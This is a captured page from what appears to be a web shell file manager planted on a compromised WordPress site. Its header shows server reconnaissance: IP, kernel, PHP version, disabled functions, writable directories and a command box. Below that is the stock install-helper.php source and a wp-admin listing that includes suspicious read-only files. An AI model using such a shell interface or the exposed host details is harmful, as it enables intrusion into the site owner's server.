GRAYBYTE WORDPRESS FILE MANAGER9077

Server IP : 149.255.58.128 / Your IP : 216.73.216.50
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/wheelch2/mobilityscootereftalia.com/wp-admin/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/wheelch2/mobilityscootereftalia.com/wp-admin//install-helper.php
<?php
/**
 * Plugins may load this file to gain access to special helper functions
 * for plugin installation. This file is not included by WordPress and it is
 * recommended, to prevent fatal errors, that this file is included using
 * require_once.
 *
 * These functions are not optimized for speed, but they should only be used
 * once in a while, so speed shouldn't be a concern. If it is and you are
 * needing to use these functions a lot, you might experience timeouts.
 * If you do, then it is advised to just write the SQL code yourself.
 *
 *     check_column( 'wp_links', 'link_description', 'mediumtext' );
 *
 *     if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
 *         echo "ok\n";
 *     }
 *
 *     // Check the column.
 *     if ( ! check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
 *         $q = $wpdb->query( $ddl );
 *     }
 *
 *     $error_count = 0;
 *     $tablename   = $wpdb->links;
 *
 *     if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $res .= $tablename . ' - ok <br />';
 *     } else {
 *         $res .= 'There was a problem with ' . $tablename . '<br />';
 *         ++$error_count;
 *     }
 *
 * @package WordPress
 * @subpackage Plugin
 */

/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';

if ( ! function_exists( 'maybe_create_table' ) ) :
	/**
	 * Creates a table in the database if it doesn't already exist.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $table_name Database table name.
	 * @param string $create_ddl SQL statement to create table.
	 * @return bool True on success or if the table already exists. False on failure.
	 */
	function maybe_create_table( $table_name, $create_ddl ) {
		global $wpdb;

		foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) {
			if ( $table === $table_name ) {
				return true;
			}
		}

		// Didn't find it, so try to create it.
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
		$wpdb->query( $create_ddl );

		// We cannot directly tell whether this succeeded!
		foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) {
			if ( $table === $table_name ) {
				return true;
			}
		}

		return false;
	}
endif;

if ( ! function_exists( 'maybe_add_column' ) ) :
	/**
	 * Adds column to database table, if it doesn't already exist.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $table_name  Database table name.
	 * @param string $column_name Table column name.
	 * @param string $create_ddl  SQL statement to add column.
	 * @return bool True on success or if the column already exists. False on failure.
	 */
	function maybe_add_column( $table_name, $column_name, $create_ddl ) {
		global $wpdb;

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
		foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
			if ( $column === $column_name ) {
				return true;
			}
		}

		// Didn't find it, so try to create it.
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
		$wpdb->query( $create_ddl );

		// We cannot directly tell whether this succeeded!
		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
		foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
			if ( $column === $column_name ) {
				return true;
			}
		}

		return false;
	}
endif;

/**
 * Drops column from database table, if it exists.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name  Database table name.
 * @param string $column_name Table column name.
 * @param string $drop_ddl    SQL statement to drop column.
 * @return bool True on success or if the column doesn't exist. False on failure.
 */
function maybe_drop_column( $table_name, $column_name, $drop_ddl ) {
	global $wpdb;

	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {

			// Found it, so try to drop it.
			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
			$wpdb->query( $drop_ddl );

			// We cannot directly tell whether this succeeded!
			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
			foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
				if ( $column === $column_name ) {
					return false;
				}
			}
		}
	}

	// Else didn't find it.
	return true;
}

/**
 * Checks that database table column matches the criteria.
 *
 * Uses the SQL DESC for retrieving the table info for the column. It will help
 * understand the parameters, if you do more research on what column information
 * is returned by the SQL statement. Pass in null to skip checking that criteria.
 *
 * Column names returned from DESC table are case sensitive and are as listed:
 *
 *  - Field
 *  - Type
 *  - Null
 *  - Key
 *  - Default
 *  - Extra
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name    Database table name.
 * @param string $col_name      Table column name.
 * @param string $col_type      Table column type.
 * @param bool   $is_null       Optional. Check is null.
 * @param mixed  $key           Optional. Key info.
 * @param mixed  $default_value Optional. Default value.
 * @param mixed  $extra         Optional. Extra value.
 * @return bool True, if matches. False, if not matching.
 */
function check_column( $table_name, $col_name, $col_type, $is_null = null, $key = null, $default_value = null, $extra = null ) {
	global $wpdb;

	$diffs = 0;

	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
	$results = $wpdb->get_results( "DESC $table_name" );

	foreach ( $results as $row ) {

		if ( $row->Field === $col_name ) {

			// Got our column, check the params.
			if ( ( null !== $col_type ) && ( $row->Type !== $col_type ) ) {
				++$diffs;
			}
			if ( ( null !== $is_null ) && ( $row->Null !== $is_null ) ) {
				++$diffs;
			}
			if ( ( null !== $key ) && ( $row->Key !== $key ) ) {
				++$diffs;
			}
			if ( ( null !== $default_value ) && ( $row->Default !== $default_value ) ) {
				++$diffs;
			}
			if ( ( null !== $extra ) && ( $row->Extra !== $extra ) ) {
				++$diffs;
			}

			if ( $diffs > 0 ) {
				return false;
			}

			return true;
		} // End if found our column.
	}

	return false;
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 22 2025 21:14:42
1032 / wheelch2
0755
css
--
October 16 2024 01:01:17
1032 / wheelch2
0755
images
--
October 16 2024 01:01:17
1032 / wheelch2
0755
includes
--
April 09 2025 03:36:18
1032 / wheelch2
0755
js
--
October 16 2024 01:01:17
1032 / wheelch2
0755
maint
--
October 16 2024 01:01:17
1032 / wheelch2
0755
network
--
October 16 2024 01:01:17
1032 / wheelch2
0755
user
--
October 16 2024 01:01:17
1032 / wheelch2
0755
wp-backup
--
May 20 2025 03:29:06
1032 / wheelch2
0755
.htaccess
1.97 KB
May 20 2025 06:12:06
1032 / wheelch2
0444
about.php
18.454 KB
May 01 2025 03:37:15
1032 / wheelch2
0644
admin-ajax.php
5.025 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
admin-footer.php
2.768 KB
November 13 2024 04:45:47
1032 / wheelch2
0644
admin-functions.php
0.468 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
admin-header.php
9.117 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
admin-post.php
1.974 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
admin.php
12.302 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
async-upload.php
4.866 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
authorize-application.php
10.093 KB
September 14 2023 00:54:19
1032 / wheelch2
0644
comment.php
11.35 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
contribute.php
5.593 KB
February 26 2024 23:51:12
1032 / wheelch2
0644
credits.php
4.113 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
custom-background.php
0.478 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
custom-header.php
0.487 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
customize.php
10.912 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
edit-comments.php
14.381 KB
September 17 2023 15:33:17
1032 / wheelch2
0644
edit-form-advanced.php
28.835 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
edit-form-blocks.php
14.368 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
edit-form-comment.php
8.343 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
edit-link-form.php
6.205 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
edit-tag-form.php
10.438 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
edit-tags.php
22.005 KB
February 12 2025 04:39:10
1032 / wheelch2
0644
edit.php
19.484 KB
November 13 2024 04:45:47
1032 / wheelch2
0644
erase-personal-data.php
7.329 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
error_log
0.504 KB
May 20 2025 11:43:04
1032 / wheelch2
0644
export-personal-data.php
7.755 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
export.php
11.023 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
freedoms.php
4.536 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
import.php
7.584 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
index.php
7.68 KB
September 14 2023 00:54:19
1032 / wheelch2
0644
inputs.php
5.724 KB
May 20 2025 06:12:06
1032 / wheelch2
0444
install-helper.php
6.798 KB
November 20 2022 14:10:15
1032 / wheelch2
0644
install.php
17.943 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
link-add.php
0.912 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
link-manager.php
4.259 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
link-parse-opml.php
2.634 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
link.php
2.888 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
load-scripts.php
2.021 KB
November 13 2024 04:45:47
1032 / wheelch2
0644
load-styles.php
2.925 KB
November 13 2024 04:45:47
1032 / wheelch2
0644
media-new.php
3.185 KB
February 23 2023 10:38:21
1032 / wheelch2
0644
media-upload.php
3.582 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
media.php
0.8 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
menu-header.php
9.823 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
menu.php
16.967 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
moderation.php
0.3 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
ms-admin.php
0.191 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
ms-delete-site.php
4.193 KB
November 13 2024 04:45:47
1032 / wheelch2
0644
ms-edit.php
0.211 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
ms-options.php
0.224 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
ms-sites.php
0.21 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
ms-themes.php
0.212 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
ms-upgrade-network.php
0.214 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
ms-users.php
0.21 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
my-sites.php
4.744 KB
September 05 2023 19:26:26
1032 / wheelch2
0644
nav-menus.php
48.259 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
network.php
5.393 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
options-discussion.php
15.397 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
options-general.php
21.577 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
options-head.php
0.606 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
options-media.php
6.353 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
options-permalink.php
21.209 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
options-privacy.php
9.951 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
options-reading.php
10.025 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
options-writing.php
9.099 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
options.php
13.445 KB
November 13 2024 04:45:47
1032 / wheelch2
0644
plugin-editor.php
13.663 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
plugin-install.php
6.957 KB
February 20 2024 07:27:06
1032 / wheelch2
0644
plugins.php
30.004 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
post-new.php
2.703 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
post.php
9.97 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
press-this.php
2.34 KB
February 26 2024 20:35:08
1032 / wheelch2
0644
privacy-policy-guide.php
3.668 KB
November 22 2023 17:44:24
1032 / wheelch2
0644
privacy.php
2.522 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
profile.php
0.276 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
revision.php
5.714 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
setup-config.php
17.484 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
site-editor.php
11.831 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
site-health-info.php
3.992 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
site-health.php
10.198 KB
July 16 2024 17:39:08
1032 / wheelch2
0644
term.php
2.196 KB
June 01 2022 18:14:10
1032 / wheelch2
0644
theme-editor.php
15.59 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
theme-install.php
23.365 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
themes.php
48.121 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
tools.php
3.432 KB
February 23 2023 10:38:21
1032 / wheelch2
0644
update-core.php
45.429 KB
November 13 2024 04:45:47
1032 / wheelch2
0644
update.php
12.785 KB
January 30 2024 14:23:12
1032 / wheelch2
0644
upgrade-functions.php
0.333 KB
February 06 2020 06:33:11
1032 / wheelch2
0644
upgrade.php
6.325 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
upload.php
14.843 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
user-edit.php
39.789 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
user-new.php
24.046 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
users.php
23.279 KB
April 16 2025 03:38:58
1032 / wheelch2
0644
widgets-form-blocks.php
4.967 KB
November 13 2024 04:45:47
1032 / wheelch2
0644
widgets-form.php
19.165 KB
January 16 2024 17:31:13
1032 / wheelch2
0644
widgets.php
1.086 KB
March 22 2022 19:59:04
1032 / wheelch2
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF